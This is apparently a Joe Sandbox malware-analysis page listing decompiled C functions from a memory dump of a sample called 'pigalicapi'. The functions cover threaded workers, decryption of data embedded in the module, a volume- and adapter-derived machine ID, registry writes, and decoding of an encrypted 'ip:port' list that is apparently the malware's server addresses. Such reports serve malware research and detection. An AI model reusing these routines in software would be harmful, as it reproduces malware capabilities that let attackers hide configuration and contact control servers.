Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $pigalicapi
API String ID: 764223185-550099112
Opcode ID: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction ID: d868066335aa3bc34e1d01a835705104c70e08da6b50357c6a08ba3ec109f492
Opcode Fuzzy Hash: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction Fuzzy Hash: 6F3143B194021CABEB14CF90DC45FFEB7B8EB08704F048598EB04B6181D7B96A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04004096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E04004AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E040097A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E04007D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E04007D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E04004BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E040097C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction ID: 702011c11570e1e92260a3d6b56584955ffb64453fe6a6bb8e3d44d087611259
Opcode Fuzzy Hash: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction Fuzzy Hash: 0E51D7B5A40308AFEB18DF94D899BDDBBB1FB48704F108219F605BB2C0D774A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04004510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004510(intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E04007D20(E04007D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E040047F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E040047F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E

Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
Part of subcall function 040047F0: GetLastError.KERNEL32 ref: 04004834
Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
Part of subcall function 040047F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
Part of subcall function 040047F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
Part of subcall function 040047F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
Part of subcall function 040047F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
Part of subcall function 040047F0: CryptDestroyKey.ADVAPI32(00000000), ref: 04004982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
CloseHandle.KERNEL32(00000000), ref: 040047E0

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction ID: c94ea80790bf0b6d8dbf2583483555f7aa9864fa89971da120b97b62dce4532c
Opcode Fuzzy Hash: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction Fuzzy Hash: 92815D74A056189BEB64CF14DC94BAAB7B4AF49306F0091D9E608BB2C1D774ABC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04009D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E04007D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E04009F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

APIs

GetSystemDirectoryA.KERNEL32 ref: 04009D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD

Part of subcall function 04009F70: GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

StringFromCLSID.OLE32(00000020,?), ref: 04009EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 04009F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 04009F46
CoTaskMemFree.OLE32(?), ref: 04009F57

Strings

, xrefs: 04009D4B

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction ID: 5e89223982a4db5088977870fe710af53f8bde251be69ccbe6f0708d183867dd
Opcode Fuzzy Hash: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction Fuzzy Hash: 695139B0A043189FEB25CF50CC88BEAB7B9BB44304F14C2D9E5096A281DB74AB84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04001390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E04007B70(_v28, _a4, _a8);
						E04007B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E04001500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E04001580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E04007B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 040013C6
RtlAllocateHeap.NTDLL(00000000), ref: 040013CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0400149E
HeapFree.KERNEL32(00000000), ref: 040014A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 040014EA
RtlFreeHeap.NTDLL(00000000), ref: 040014F1

Strings

====, xrefs: 040013FA

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction ID: c6e28297ba35799b7f22f7dab3aca0fae7ec72587fc4187f79a8e8c8e7655232
Opcode Fuzzy Hash: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction Fuzzy Hash: F7414CB5D04209EBEB04DFA4C884BEE7BB5FF44309F108619E515BB2D0D735AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04007970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04007970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0x400e28c; // 0x4013f88
						_t83 =  *0x40118a0; // 0x4013b88
						_t52 = E0400A400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E04008A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0x40130e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E04007B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L0400B1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 040079A3

Part of subcall function 0400A400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
Part of subcall function 0400A400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
Part of subcall function 0400A400: RegCloseKey.KERNEL32(00000000), ref: 0400A494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04007AE3

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007A4B
inet_ntoa.WS2_32(?), ref: 04007A90
wnsprintfA.SHLWAPI ref: 04007ABC

Strings

Kobucgekyxca, xrefs: 040079C5
%s:%u, xrefs: 04007AAB

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Kobucgekyxca
API String ID: 1891311255-965644793
Opcode ID: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction ID: d327848a4ae889dd371e71d646ee9b038911c4fd72f1be7e57aa30bfb263aa34
Opcode Fuzzy Hash: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction Fuzzy Hash: 8C410FB5E04208EBFB04DF94C945BEEBBB5EB88705F14C159E6057B2C0D779AA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04005E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E30(signed char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0x40118a0; // 0x4013b88
				_v8 = _t31;
				_t45 =  *0x4011894; // 0x4013fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						if((_a4 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E04009BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10);
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
RegCloseKey.KERNEL32(00000000), ref: 04005F19

Strings

, xrefs: 04005E8C
, xrefs: 04005E93

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 89e6ea7d5f7cd1f3b8914b5f239817843937aaeba4a6099ce7b548add1ef5737
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 3A317370A04249AFEF04CFD4D855BFFBBB9AB44704F14815CEA40B7281D7B96A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04004AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04004AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E04008250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E040062B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 04004AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 04004B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 04004B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04004B6B
SetEvent.KERNEL32(?), ref: 04004B78
Sleep.KERNEL32(00001388), ref: 04004B85
CoUninitialize.OLE32 ref: 04004B90

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

